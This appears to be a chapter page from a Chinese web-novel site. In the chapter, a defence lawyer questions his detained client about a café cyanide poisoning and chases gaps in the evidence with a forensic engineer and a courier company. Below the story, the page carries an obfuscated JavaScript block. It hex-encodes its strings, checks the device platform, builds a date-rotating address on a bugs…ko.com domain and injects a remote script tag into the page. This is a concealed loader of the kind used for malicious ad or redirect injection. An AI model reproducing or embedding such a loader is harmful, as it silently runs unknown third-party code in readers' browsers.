返回第一百二十二章 会见  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

沉牧之第二次会见赵宇,是在三天后。这三天里,他把卷宗又看了七遍。每一遍都发现新的细节。咖啡厅的平面图、监控摄象头的位置、林薇座位的朝向、赵宇座位的距离、洗手间的动线。他把这些信息在脑子里建了一个模型。他闭上眼睛,就能看到那个咖啡厅。他在脑子里走过一遍又一遍。从赵宇进门,到坐下,到林薇起身,到赵宇站起来,到林薇回来,到林薇喝咖啡,到林薇倒地。每一步,每一秒,他都精确到秒。然后他发现了第七个裂痕。不是证据本身的问题,是时间线的问题。

他拿起笔,在笔记本上写下了一串时间。监控录像显示:14:58:32,赵宇进入咖啡厅。14:58:47,林薇进入。15:00:03,两人坐下。15:12:18,林薇起身。15:12:21,赵宇站起来。15:12:24,赵宇走到林薇座位旁边。15:12:34,赵宇回到自己座位。15:12:47,林薇回到座位。15:18:02,林薇喝下第一口咖啡。15:23:19,林薇倒地。氰化物的致死速度是多少?法医报告说,摄入后三到五分钟出现征状,十分钟内可致死。林薇喝下咖啡后五分钟左右倒地,符合这个时间。但赵宇离开林薇座位后,到林薇回来,中间有十三秒。如果他在那十三秒内把毒药投进了咖啡杯,毒药就在杯子里。林薇回来,喝咖啡,中毒。时间线是合理的。但有一个问题。赵宇回到座位后,没有离开过。林薇回来时,赵宇的咖啡杯和林薇的咖啡杯都在桌上。如果赵宇投了毒,他投的是林薇的杯子。他不可能搞错,因为两个杯子的位置不同。但沉牧之注意到一个细节。林薇的咖啡杯和赵宇的咖啡杯是同款的。都是白色的陶瓷杯,没有任何标记。咖啡厅的店员在笔录中说,她端咖啡时,记得把林薇的杯子放在林薇面前,赵宇的杯子放在赵宇面前。但林薇起身去洗手间后,她有没有可能碰过杯子?她擦桌子的时候有没有移动过杯子的位置?她不确定。店员的笔录里写着:“记不清了。”

沉牧之在那个词下面画了一条线。记不清了。这是第八个裂痕。

他合上卷宗,拿起车钥匙,走出办公室。去往看守所的路上,他没有听音乐,没有开广播。他在脑子里过了一遍今天要问的问题。他不问“你杀了吗”。他不问“你为什么要买毒药”。他不问“你的计算机为什么有搜索记录”。这些问题的答案,他不关心。他只问细节。细节会说话。细节会出卖人,也会拯救人。

进了会见室,赵宇已经在了。他比三天前瘦了一些,眼睛下面的黑眼圈更深了。沉牧之坐下来,把笔记本打开。

“赵宇,我问你几个细节。你回忆一下。”

“好。”

“你约林薇那天,是谁先到咖啡厅的?”

“我。我先到。我等了她大概十分钟。”

“你坐的是哪个位置?”

“靠窗的那个。我进去的时候,靠窗的位置空着,我就坐了。”

“林薇来的时候,你站起来了吗?”

“站了。她进来的时候,我站起来,冲她招了招手。”

“她坐下的时候,你帮她拉椅子了吗?”

“没有。她自己拉的。”

沉牧之在笔记本上记下:林薇自己拉椅子,赵宇没有碰她的椅子。

“你们聊了多久,林薇才起身去洗手间?”

“大概二十分钟。具体时间我不记得了。”

“她起身的时候,你有没有注意到她的椅子离桌子太近?”

赵宇想了想。“她起身的时候,椅子蹭了一下桌子。她走得急,没注意。”

“然后你做了什么?”

“我站起来,帮她把椅子拉出来了一点。这样她回来的时候坐起来方便。”

“你走过去的时候,有没有碰过她的杯子?”

“没有。我碰的是椅子。”

“你确定?”

“确定。她的杯子和我的杯子之间隔着桌子。我伸手够不到。”

沉牧之在笔记本上画了一张简易的咖啡厅平面图。赵宇的座位在桌子一侧,林薇的座位在对面。赵宇要够到林薇的杯子,必须绕过桌子,或者伸手横跨桌面。监控画面显示,赵宇走到林薇座位旁边时,他的身体朝向是面向桌子。他弯腰了。他弯下腰去拉椅子。他弯下腰的时候,他的手在桌面的高度。他能不能在弯腰的同时,把毒药投进林薇的杯子里?可能。但监控没有拍到他的手。他的手被桌子挡住了。

“赵宇,你弯腰的时候,你的手在做什么?”

“在拉椅子。我右手扶着椅背,左手撑着桌子。”

“左手撑着桌子?撑在什么地方?”

“桌面上。靠近林薇杯子的位置。”

沉牧之的手指停了一下。“你的左手,离林薇的杯子有多远?”

“大概十厘米。我没有碰杯子。我只是撑着桌面。”

十厘米。不是零厘米,是十厘米。差十厘米,够不到。但如果他想够,他可以够到。但他没有。

“赵宇,你的指纹是怎么到林薇杯子上的?”

“我之前碰过。之前见面的时候,我端起她的杯子喝了一口水。我以为是自己的杯子。两个杯子一模一样。我喝了一口,发现味道不对,才知道拿错了。我放了回去。后来警察可能检测到了我的指纹。”

“那次见面是什么时候?”

“案发前一周。我们还没分手。”

沉牧之把这件事记下来。需要核实。如果赵宇说的是真的,他的指纹在案发前一周就已经在林薇的杯子上。这个指纹与投毒无关。

“赵宇,你买了毒药,快递丢了。你报警了吗?”

“没有。我不知道怎么报警。我买的东西是违禁品,我报警不是自投罗网吗?”

“你后来怎么处理的?”

“我联系了卖家。卖家说快递丢了,他们补发。我说不用了。然后我把账户注销了。”

“你注销账户的记录还在吗?”

“应该还在。但我没有保存。我没有想到会出事。”

沉牧之在笔记本上记下:卖家、快递公司、账户注销记录。这些都是可以查的。如果赵宇说的是真的,这些记录应该存在。如果不存在,沉牧之会让检方证明它们不存在。

“赵宇,最后一个问题。你为什么要搜索氰化物?”

“我跟你说了,我在开发一个推理游戏。我需要了解各种毒药的特性。”

“你开发的游戏,有记录吗?代码、设计文档、项目文档。”

“有。在我的计算机里。警方可能已经拿走了。”

沉牧之合上笔记本。“赵宇,我还会再来。”

赵宇看着他。“沉律师,你能赢吗?”

“我不能保证。但我能保证,我会用尽全力。”

赵宇低下头。“谢谢。”

沉牧之站起来,走出会见室。他穿过走廊,出了看守所。阳光照在脸上,刺眼。他上了车,坐在驾驶座上,没有立刻发动。他翻开笔记本,看着那些问题。椅子。杯子。指纹。快递。游戏。每一个问题都是一条线。他要顺着线去找答案。不是所有的线都能找到答案,但找到一条就够了。只要有一条线断掉,检方的证据链就不完整。

他发动了车子,没有回事务所,没有去法学院。他去了市网络信息安全中心。那里有他认识的人,一个叫陈志远的网络安全工程师。他们是大学同学。陈志远毕业后进了公安系统,专门做网络取证。他不是警方的证人,他是沉牧之的老朋友。

沉牧之没有预约,直接去了他的办公室。陈志远正在看计算机,看到他进来,笑了。

“沉大律师,什么风把你吹来了?”

“有事找你。”

“说。”

“赵宇的案子,你知道吧?”

陈志远的笑容收了一些。“知道。那个咖啡厅投毒案。”

“检方说赵宇的计算机里有搜索氰化物购买渠道的记录。我想知道,这些记录能不能证明是他本人搜索的?”

陈志远靠在椅背上。“理论上,不能。搜索记录只能证明这台计算机上有人搜索过,不能证明是谁操作的。如果有人远程控制了这台计算机,或者在赵宇不知情的情况下使用了他的计算机,同样会留下记录。”

“检方有没有做远程控制的检测?”

“做了。他们提取了系统日志,没有发现远程控制的痕迹。”

“没有发现,等于不存在吗?”

陈志远沉默了一会儿。“不等于。日志可以被删除。黑客入侵后,往往会清理痕迹。没有发现,只能说明没有找到证据,不能说明没有发生。”

沉牧之在笔记本上记下来。没有发现不等于不存在。这是第九个裂痕。

“陈志远,如果我要证明赵宇的计算机可能被远程控制,我需要什么证据?”

“你需要一个时间点。赵宇声称自己被黑客攻击,他需要提供一个具体的时间。在那个时间点前后,系统日志如果有缺失,就可以支持他的说法。”

“他的计算机被警方拿走了。我现在还能提取什么?”

“你可以申请法院调取原始硬盘,找第三方鉴定机构做分析。如果原始数据还在,有可能找到被删除的日志的残留痕迹。”

沉牧之点了点头。“谢谢。”

“不用谢。你帮他辩护,我不反对。但我要告诉你,这个人看起来不太干净。”

“不干净不等于有罪。”

“我知道。你是律师,你该这么说。”

沉牧之站起来,走出网络信息安全中心。他上了车,坐在驾驶座上。他看了看手表,下午三点。他还有时间。他发动了车子,开往快递公司。赵宇买的毒药是通过一家国际快递公司运输的。沉牧之要查清楚,这个包裹到底发生了什么。快递公司的客服中心在城东的一个工业园区里。沉牧之走进去,出示了律师证,要求查询一个单号。客服人员查了计算机,说这个单号已经过期,无法查询。沉牧之要求见经理。经理是一个四十多岁的男人,姓王。

“王经理,我的客户涉及刑事案件,这个快递单号是关键证据。我需要知道这个包裹的物流轨迹。”

王经理看了看沉牧之的证件。“沉律师,我们只能提供一年内的物流记录。这个订单已经超过一年了。”

“赵宇的订单是今年2月的。不到一年。”

王经理又查了一下。“系统里没有。可能是数据迁移的时候丢失了。”

“丢失了?”

“我们去年换了新系统,部分旧数据没有迁移过来。”

沉牧之看着他。“也就是说,你们无法证明这个包裹曾经存在过?”

王经理的表情变了一下。“系统里没有,不代表不存在。”

“但没有记录,你们就不能证明它存在过。”

王经理没有回答。沉牧之在笔记本上记下来:快递公司无法提供物流记录。这是第十个裂痕。

他走出快递公司,上了车。天暗了,路灯亮起来。他坐在驾驶座上,看着笔记本上那些裂痕。时间戳误差、椅子位置、杯子混肴、指纹时间、远程控制、快递丢失、物流记录缺失。他把它们一个一个地圈出来。不是证据,是问题。问题就是裂痕。裂痕就是合理怀疑。

他发动了车子,开回事务所。他没有吃饭,坐在办公桌前,打开卷宗,继续看。他把每一个证人的证言都读了三遍。咖啡厅店员、林薇的朋友、赵宇的同事、网络安全专家、法医。他要在每一个人的话里找到矛盾。不一定要大的矛盾。小矛盾就够了。一个时间对不上,一个数字记错了,一个细节模糊了。都是裂痕。

深夜,他合上卷宗,靠在椅背上。他闭上眼睛。在脑子里,他又走了一遍那个咖啡厅。赵宇进门,坐下,林薇进来,招手,坐下,聊天,林薇起身,椅子蹭桌子,赵宇站起来,走过去,弯腰,拉椅子,左手撑着桌面,右手扶着椅背,回到座位,林薇回来,喝咖啡,倒地。他在每一个动作上停下来,问自己:有没有另一种可能?如果有,那就不合理。不合理的怀疑,就是合理怀疑。

他睁开眼睛,拿起手机。没有未接来电,没有新消息。他放下手机,站起来,走到窗前。窗外,城市的灯火一盏一盏地灭了。他站在那里,看了一会儿。然后他转过身,关了灯,走出办公室。他不会开车回家。他在事务所的沙发上睡。明天还要继续。案子不等人。赵宇在看守所里等。他的母亲在等。沉牧之不能让他们等太久。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");